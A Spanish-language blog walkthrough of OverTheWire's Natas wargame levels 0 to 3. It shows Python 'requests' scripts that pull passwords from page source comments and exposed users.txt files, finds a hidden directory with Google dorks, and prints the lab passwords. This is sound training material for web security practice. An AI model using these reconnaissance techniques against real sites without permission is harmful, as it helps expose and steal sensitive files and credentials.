Natas – Level 0-3

 

Como se comentó en otro post, OverTheWire ofrece diferentes Wargames para aprender y practicar conceptos relacionados con la seguridad. Natas es un Wargame de OverTheWire que trata sobre seguridad web desde el punto de vista del servidor.

En el blog veremos la resolución de dichos niveles, lo que nos permitirá aumentar nuestros conocimientos en el área de la seguridad web. Cada nivel se encontrará alojado en una página web del tipo: "http://natasX.natas.labs.overthewire.org", donde X es el nivel que se está completando. Para acceder a un nivel habrá que introducir el nombre de usuario del nivel, natasX, y la contraseña recuperada para su desbloqueo en el nivel anterior. Al principio serán relativamente sencillos pero luego ser irán poniendo más interesantes.
Además, para la resolución de cada nivel, se elaborará un script en Python que permita explotar la vulnerabilidad detectada y conseguir el password para el siguiente nivel.

Level 0

Las instrucciones de acceso al primer nivel son las siguientes:

Username: natas0
Password: natas0
URL: http://natas0.natas.labs.overthewire.org

Al acceder mediante el navegador se nos solicitará el nombre de usuario y contraseña mediante el control de acceso de HTTP.

Introducimos los indicados para el nivel 0 y accedemos a la página web:

Figura 1: Página de Natas 0

Hacemos clic derecho en cualquier punto de la página y seleccionamos "Ver código fuente". Esto nos permitirá ver el código fuente de la página. Al final del todo podremos encontrar en un comentario la contraseña para el siguiente nivel:

Figura 2: Código fuente de Natas0

Ahora vamos a automatizarlo todo mediante un script en Python. Lo primero de todo importamos la librería Requests para realizar las peticiones HTTP. A continuación establecemos las líneas referentes a la autenticación, algo que nos servirá para el resto de niveles. Declaramos tres variables: user, passwd y url.
#!/usr/bin/env python
import requests
import re

user = "natas0"
passwd = "natas0"
url = "http://natas0.natas.labs.overthewire.org/"
Lo siguiente es hacer uso de la librería Requests. Primero creamos la variable session y establecemos una sesión. Después asignamos la autorización a la sesión:
session = requests.Session()
session.auth = (user, passwd)
De esta manera ya podemos realizar la petición. En este caso la haremos mediante el método GET; haciendo uso del método content() podemos ver el contenido de la respuesta:
response = session.get(url)
print response.content
Esto nos devolverá toda la respuesta, es decir, todo el código fuente que hemos inspeccionado anteriormente:

Figura 3: Código de la respuesta en Python (Requests)

Para que el script nos devuelva únicamente la password para el siguiente nivel podemos usar una expresión regular, importaremos la librería Re. La contraseña está formada por 32 caracteres alfanuméricos incluyendo mayúsculas y minúsculas; adecuaremos la expresión regular a estas necesidades. El método findall() devolverá un array, en esta ocasión devolverá sólo un valor, recuperaremos el de la posición 0.
print re.findall(r"([a-zA-Z\d]{32})", response.content)[0]
De esta forma, el script devolverá únicamente la contraseña del siguiente nivel, quedando finalmente así:
#!/usr/bin/env python
import requests
import re

user = "natas0"
passwd = "natas0"
url = "http://natas0.natas.labs.overthewire.org/"

session = requests.Session()
session.auth = (user, passwd)
response = session.get(url)

print re.findall(r"([a-zA-Z\d]{32})", response.content)[0]
gtVrDuiDfck831PqWsLEZy5gyDz1clto

Level 1

Este nivel es muy similar al anterior, lo único que al acceder a la página web, después de introducir el usuario, 'natas1', y la contraseña recuperada en el nivel anterior, 'gtVrDuiDfck831PqWsLEZy5gyDz1clto', se nos dirá también que la contraseña en este nivel está en esta página, pero que no podemos hacer clic derecho sobre la misma. Mediante la combinación de teclas 'Ctrl+U' se nos abrirá el código fuente en otra ventana y podremos obtener la contraseña para acceder al nivel 2.

Figura 4: Página de Natas1

El script de Python será exactamente igual que el anterior, únicamente habrá que modificar la url por la del nivel 1 y los datos de autenticación.
#!/usr/bin/env python
import requests
import re

user = "natas1"
passwd = "gtVrDuiDfck831PqWsLEZy5gyDz1clto"
url = "http://natas1.natas.labs.overthewire.org/"

session = requests.Session()
session.auth = (user, passwd)
response = session.get(url)

print re.findall(r"([a-zA-Z\d]{32})", response.content)[1]
ZluruAthQk7Q2MqmDeTiUij2ZvWy2mBi

Level 2

Accedemos a la página correspondiente a este nivel y se nos muestra lo siguiente:

Figura 5: Página de Natas2

Si miramos el código fuente encontramos que hay una imagen en la página, pixel.png, situada en el endpoint files/:

Figura 6: Endpoint files/ en el código fuente de Natas2

Si accedemos a dicho endpoint encontramos, a parte de la imagen, el fichero users.txt donde se encontrará, entre una combinación de usuarios:contraseñas, la contraseña para desbloquear el siguiente nivel:

Figura 7: Ficheros en files/

Figura 8: Contraseña Natas3

Todo esto lo podemos automatizar mediante un script que acceda a files/users.txt, recorra las líneas hasta encontrar el String "natas3" y recupere la contraseña para dicho nivel:
#!/usr/bin/env python
import requests

user = "natas2"
passwd = "ZluruAthQk7Q2MqmDeTiUij2ZvWy2mBi"
url = "http://natas2.natas.labs.overthewire.org/"

session = requests.Session()
session.auth = (user, passwd)
response = session.get(url + "/files/users.txt")

passwds = response.content.split('\n')
for i in passwds:
    if 'natas3' in i:
        print i.split(':')[1]
sJIJNW6ucpu6HPZ1ZAchaDtwd7oGrD14

Level 3

Al acceder al nivel 3 un mensaje nos dirá que no hay nada en la página. Si inspeccionamos el código fuente encontraremos un comentario que dice: "No más fugas de información!! Esta vez no lo encontrará ni Google...".

Figura 9: Mensaje en un comentario en Natas3

"Ni siquiera Google podrá encontrarlo"... Se me ocurre una cosa, vamos a comprobarlo :). Vamos a suponer que la contraseña se encuentra en el mismo servidor web. Partiendo de esta suposición vamos a utilizar Google Dorks para encontrarla. Buscando en Google mediante la palabra clave "inurl:natas3.natas.labs.overthewire.org", nos mostrará todos los resultados indexados en Google cuya url esté formada por "natas3.natas.labs.overthewire.org". Otra posibilidad es utilizar la palabra clave "site:":

Figura 10: Descubriendo enpoint a través de Google Hacking

Descubrimos el endpoint s3cr3t! Dentro de él se encuentra el fichero users.txt donde está la contraseña para Natas4:

Figura 11: Contraseña para Natas4 en /s3cr3t/users.txt

El script en Python será similar al anterior. En este caso deberá ir a /s3cr3t/users.txt, recuperar su contenido y dividirlo por el carácter ":" y recoger el segundo elemento resultante de la división que será la contraseña:
#!/usr/bin/env python
import requests

user = "natas3"
passwd = "sJIJNW6ucpu6HPZ1ZAchaDtwd7oGrD14"
url = "http://natas3.natas.labs.overthewire.org/"

session = requests.Session()
session.auth = (user, passwd)

endpoint = "s3cr3t/users.txt"
response = session.get(url + endpoint)

print response.content.split(':')[1]
Z9tkRkWmpt9Qr7XrR5jWRkgOU901swEZ

Y hasta aquí la entrada de hoy! Ha servido como introducción a Natas y como calentamiento. Hemos visto la importancia de mirar el código fuente, ya que nunca se sabe si podemos encontrar algún comentario olvidado por los desarrolladores; también hemos comprobado la potencia de Google, que en muchas ocasiones, afinando las búsquedas mediante técnicas de Google Hacking nos puede ser de gran utilidad para descubrir información sensible. Nos vemos en la próxima!

Comentarios